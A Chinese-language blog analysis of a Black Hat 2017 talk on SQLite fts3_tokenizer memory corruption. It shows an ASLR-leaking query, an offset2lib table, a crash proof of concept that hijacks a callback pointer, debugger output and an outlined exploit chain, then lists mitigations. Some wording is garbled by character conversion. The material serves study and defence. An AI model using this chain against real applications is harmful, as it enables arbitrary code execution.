《圍觀2017黑帽大會,剖析SQLite內存破壞漏洞》要點:
本文介紹了圍觀2017黑帽大會,剖析SQLite內存破壞漏洞,希望對您有用。如果有疑問,可以聯系我們。
0x00 從黑帽年夜會說起
前不久,一年一度的黑帽大會于在美國拉斯維加斯舉行,平安圈內各位大咖、全球頂級平安企業都使出渾身解數,展示他們最新的研究成果.相信大多數小伙伴都和小編一樣,雖然有心想參會,但無奈囊中羞澀.
錯過大會怎么辦?沒關系,我們還可以一起來學習觀摩大牛的視頻和文檔.這次與大家一個國內平安廠商的議題《一石多鳥:利用單個SQLite漏洞破解多個軟件》.
0x01 什么是內存破壞漏洞
SQLite是一款輕型數據庫,是遵守ACID的關系型數據管理系統,它包括在一個相對小的C庫中.作為一款嵌入式數據庫,他因占用的資源非常低,數據處理速度快等優點被Andriod、WebKit等流行軟件采用.
說起SQLite的內存破壞漏洞,共分為兩種類型,一是由SQLite數據庫的文件格式引起的內存損壞漏洞,如CVE-2015-7036,CVE-2017-10989,另一個是SQLite解析器觸發的sql語句中的差錯.CVE-2015-3414,CVE-2015-3415.
提起CVE-2015-7036,fts3_tokenizer是一個繞不開的話題.這是發生在Apple iOS 8.4以前版本和 OS X 10.10.4版本以前的漏洞,原因是內置的SQLite的fts3_tokenizer函數存在任意命令執行漏洞,遠程攻擊者可以通過SQL命令執行任意指令或導致系統崩潰,拒絕服務.讓我們來一起看看這個能讓號稱最平安的蘋果系統都中招的fts3_tokenizer到底是何方神圣.
sqlite中支持fts表(full-text search的簡稱),fts3其實是sqlite的一個擴展模塊,是虛擬表模塊,允許用戶使用 MATCH ‘keyword’ 查詢而非 LIKE ‘%keyword%’ 子串匹配的方式實現全文檢索.在實現全文搜索的過程中,對原始內容進行分詞是一個必需的過程.SQLite內置的simple和porter分詞器只能支持ASCII字符的英文分詞,為滿足不同語言的需求,SQLite 3.7.13開始引入unicode61分詞器以支持unicode,并提供給開發者自行添加分詞器的接口.
0x02 fts3_tokenizer的兩種烹飪方式
sqlite在fts3_tokenizer.h中提供了各種接口供用戶自定義分詞器,但其并未提供c函數供用戶來注冊自定義的分詞器,分詞器的注冊必需使用sql語句來完成.
官方提供了兩種fts3_tokenizer函數的使用方式,這兩種方式便發生了兩種漏洞:
1、SELECT fts3_tokenizer();
參數中的tokenizer-name是分詞器的名稱,該用法的返回值是指定名字分詞器的sqlite3_tokenizer_module 結構體指針,以 blob 類型表示16進制的一個大端序的內存地址.該用法原來是用來檢查分詞器是否被注冊.但是同時我們也發現,如果是探測一個已經存在的分詞器返回值是一個內存地址.在 fts3.c 中可以看到 SQLite3 默認注冊了內置分詞器 simple 和 porter:
if( sqlite3Fts2HashInsert(pHash, "simple", 7, (void *)pSimple)|| sqlite3Fts2HashInsert(pHash, "porter", 7, (void *)pPorter)
以 simple 分詞器為例,其注冊的指針指向靜態區的 simpleTokenizerModule.
static const sqlite3_tokenizer_module simpleTokenizerModule = { 0, simpleCreate, simpleDestroy, simpleOpen, simpleClose, simpleNext,};
通過獲得這個指針,獲得 sqlite3 的基地址,根據不同版本調整偏移量,可以計算繞過 ASLR掩護機制:
SQLite version 3.8.10.2 2015-05-20 18:17:19Enter ".help" for usage hints.Connected to a transient in-memory database.Use ".open FILENAME" to reopen on a persistent database.sqlite> select hex(fts3_tokenizer('simple'));A0CE0D3321560000sqlite>
root@kali:/usr/local/bin# grep sqlite /proc/20261/maps555555554000-555555623000 r-xp 00000000 fe:00 3417560 /usr/local/bin/sqlite3555555822000-555555825000 r--p 000ce000 fe:00 3417560 /usr/local/bin/sqlite3555555825000-555555828000 rw-p 000d1000 fe:00 3417560 /usr/local/bin/sqlite3
Offset2lib進擊:
這里提一下關于繞過ASLR掩護機制的相關內容:
ASLR(Address Space Layout Randomization),地址空間格局的隨機化,就是用來防范Ret2libc攻擊手段的另一個重要的平安特性.在你知道目標代碼或數據定位的前提下,它可以變成一種規避攻擊的技術.正因為黑客并不知道整個地址空間的布局,ASLR技術變得極為有效.只有當可執行程序編譯為PIE時(地址無關可執行文件),才能最大限度地從ASLR技術那里獲得保護,因為其所有組成部分都是從隨機地址加載的.
然而,當可執行文件被編譯成PIE之后,GNU/Linux下的ASLR實現的過程中,會出現一個名為Offset2lib平安漏洞,其專門用于繞過在GNU/Linux下如ASLR之類的對于普通漏洞的常用防護.
正常情況下,可能必要大概五步進行攻擊,攻擊的流程總結如下:
提取靜態信息
暴力獲取saved-IP部門
計算應用基址
計算offset2lib常量
得到內存映射區域
首先,我們的攻擊對目標程序和其執行環境做一個離線分析.利用標準的緩沖區溢出漏洞來暴力獲取被ASLR暗藏的保存在棧里的應用代碼的saved-IP地址(應用地址),這多虧了目標的fork服務器結構.一旦我們獲得了目標應用的完整地址,應用的基址就能被計算出來.最后一步則是對整個庫做內存映射,這將決定于目標GNU/Linux的版本.獲得暗藏的未明信息后,利用ROP應用獲得遠程shell是非常容易的.
因為fts3_tokenizer好心的提醒了我們基址地址,甚至不必要前三步的計算,通過union或者盲注,我們可以獲取到這個基地址信息.
計算出目標庫的offset2lib值,它會因系統的不同而不同,但相互之間有很大的相似性.獲得這些offset2lib的值有一個迅捷的方法,那就是本地執行該應用,打印出偏移量.offset2lib并不決定于應用本身,我們需要為特定Linux系統版本量身計算.
Distribution Libc ver. Offset2libCentOS 6.5 2.12 0x5b6000Debian 7.1 2.13 0x5ac000Ubuntu 12.04 2.15 0x5e4000Ubuntu 12.10 2.15 0x5e4000
libc(Linux下的ANSI C的函數庫. ANSI C是基本的C語言函數庫,包括了C語言最基本的庫函數)的基址都可以通過可執行文件基址減去offset2lib值來計算:
Libc_base = App_base - offset2lib
獲取到libc的內存地址之后的目標便是獲取shell了.可以借助ROP(現代棧溢出利用技術基礎)來實現,本文就不詳細介紹了.
2、SELECT fts3_tokenizer(,);
這里的sqlite3_tokenizer_module ptr表示一個指向sqlite3_tokenizer_module結構的指針并且編碼為SQL blob.這種用法用來注冊新的分詞器,在SQL下執行此形式語句,即可注冊一個的分詞器.沒錯,這里就是把指針當成參數直接放進SQL語句中了,這個指針指向一個 sqlite3_tokenizer_module 結構體,前文已經提到其中包括數個回調函數指針,注冊完成分詞器后,SQLite3 在處理一些 SQL 查詢時將會執行分詞器的回調函數以獲得結果.
攻擊者構造出一個布局體之后,獲取到該布局體的內存地址,并使用 SQL 注入等手段讓目標注冊構造好的“分詞器”,再通過 SQL 觸發特殊回調就可以實現劫持 IP 寄存器,執行任意代碼.接下來進一步分析這個攻擊面是否可以被利用.
現在來嘗試觸發 xCreate 回調執行任意代碼.在SQLite3 控制臺輸入如下查詢即可導致段差錯:
SQLite version 3.8.10.2 2015-05-20 18:17:19Enter ".help" for usage hints.Connected to a transient in-memory database.Use ".open FILENAME" to reopen on a persistent database.sqlite> select fts3_tokenizer('simple', x'4141414141414141'); create virtual table a using fts3;AAAAAAAAProgram received signal SIGSEGV, Segmentation fault.0x00005555555a2178 in sqlite3Fts3InitTokenizer (pHash=pHash@entry=0x55555582d7c8, zArg=zArg@entry=0x5555556019cf "simple", ppTok=ppTok@entry=0x7fffffffc7d8, pzErr=pzErr@entry=0x7fffffffc8f8) at sqlite3.c:141967141967 rc = m->xCreate(iArg, aArg, ppTok);
用gdb查看瓦解的上下文:
[----------------------------------registers-----------------------------------]rax 0x4141414141414141 4702111234474983745rbx 0x0 0rcx 0x0 0rdx 0x7fffffffc7d8 140737488340952rsi 0x0 0rdi 0x0 0rbp 0x0 0x0rsp 0x7fffffffc6b0 0x7fffffffc6b0r8 0x60 96r9 0x73 115r10 0x555555604aa0 93824992955040r11 0x1 1r12 0x0 0r13 0x55555583f8ee 93824995293422r14 0x7fffffffc6dc 140737488340700r15 0x55555583f8e8 93824995293416rip 0x5555555a2178 0x5555555a2178 <sqlite3Fts3InitTokenizer+312>eflags 0x10297 [ CF PF AF SF IF RF ]cs 0x33 51ss 0x2b 43ds 0x0 0[-------------------------------------code-------------------------------------]0x00005555555a2173 <+307>: mov %r12,%rsi0x00005555555a2176 <+310>: mov %ebx,%edi=> 0x00005555555a2178 <+312>: callq *0x8(%rax)0x00005555555a217b <+315>: test %eax,%eax0x00005555555a217d <+317>: mov %eax,%ebp0x00005555555a217f <+319>: jne 0x5555555a21d8 <sqlite3Fts3InitTokenizer+408>0x00005555555a2181 <+321>: mov (%rsp),%rax0x00005555555a2185 <+325>: mov 0x18(%rsp),%rdx0x00005555555a218a <+330>: mov (%rax),%rax0x00005555555a218d <+333>: mov %rdx,(%rax)0x00005555555a2190 <+336>: mov %r12,%rdi
rax 注冊時提交的指針參數,cast將blob類型數據轉換為指針,SQLite 完全沒有對指針做任何有效性檢查,直接進行了回調的挪用.其對應源代碼位于 ext/fts3/fts3_tokenizer.c 的 sqlite3Fts3InitTokenizer 函數:
m = (sqlite3_tokenizer_module *)sqlite3Fts3HashFind(pHash,z,(int)strlen(z)+1); if( !m ){ sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer: %s", z); rc = SQLITE_ERROR; }else{ char const **aArg = 0; ... (省略部門代碼) rc = m->xCreate(iArg, aArg, ppTok); assert( rc!=SQLITE_OK || *ppTok ); if( rc!=SQLITE_OK ){ sqlite3Fts3ErrMsg(pzErr, "unknown tokenizer"); }else{
整理一下思路,整個攻擊流程應該是這樣的:
首先利用fts3_tokenizer的第一種方式,查詢到sqlite基地址,注意結果是大端序.根據 select sqlite_version() 函數泄漏的版本信息調整偏移量,執行 PRAGMA soft_heap_limit 語句布置必要 call 的目標指令地址,向一個已知內存地址寫入一個函數指針,然后這個地址轉換為blob類型,作為fts3_tokenizer 函數的第二個參數,進而注冊了一個“分詞器”,最后通過創建虛擬表,觸發 xCreate 回調函數,導致eip劫持,允許遠程攻擊者執行任意代碼.
0x03亡羊補牢猶未晚
雖然這不是 SQLite 的漏洞,但濫用這一特性可能導致應用程序發生攻擊面.
禁用這一特性可以起到緩解的效果.比如Andriod甚至是SQLite本身都在3.11版本就采用了直接禁用這種方式.
重寫函數也不為是一個不錯的方法,十分流行的WebKit也曾提供選擇禁用Web SQL Database作為本地數據庫,它采用的語言就是SQLite,但已經被W3C標準移除了.現在WebKit也重寫了函數.
但是只是簡單的白名單過濾并不是一個優秀的處理方式,Safari瀏覽器采用sqlite3_set_authorizer()用來授權SQL語句行為,并通過白名單控制了可以執行的SQL語句,但CVE-2015-3659中明確說了如何繞過白名單,同樣執行任意代碼,或者導致拒絕服務,系統瓦解.
總結一下修復和處置的方式:
如果用不到全文檢索,可通過封閉 SQLITE_ENABLE_FTS3 / SQLITE_ENABLE_FTS4 / SQLITE_ENABLE_FTS5 選項禁用之,或者使用 Amalgamation 版本編譯;
如果必要使用 MATCH 檢索,但不必要支持多國語言(即內置分詞器可以滿足要求),找到 ext/fts3/fts3.c 中注釋掉如下一行代碼關閉此函數:
&& SQLITE_OK==(rc = sqlite3Fts3InitHashTable(db, pHash, “fts3_tokenizer”))
使用 SQLite3 的 Authorization Callbacks 設置拜訪控制
0x04參考鏈接
[1] 特性還是漏洞?濫用 SQLite 分詞器
[2]《一石多鳥:利用單一的SQLITE 漏洞攻擊年夜量軟件》
[3] SQLite
[4] Offset2lib進擊測試:看我如何全面繞過64位Linux的內核防護
維易PHP培訓學院每天發布《圍觀2017黑帽大會,剖析SQLite內存破壞漏洞》等實戰技能,PHP、MYSQL、LINUX、APP、JS,CSS全面培養人才。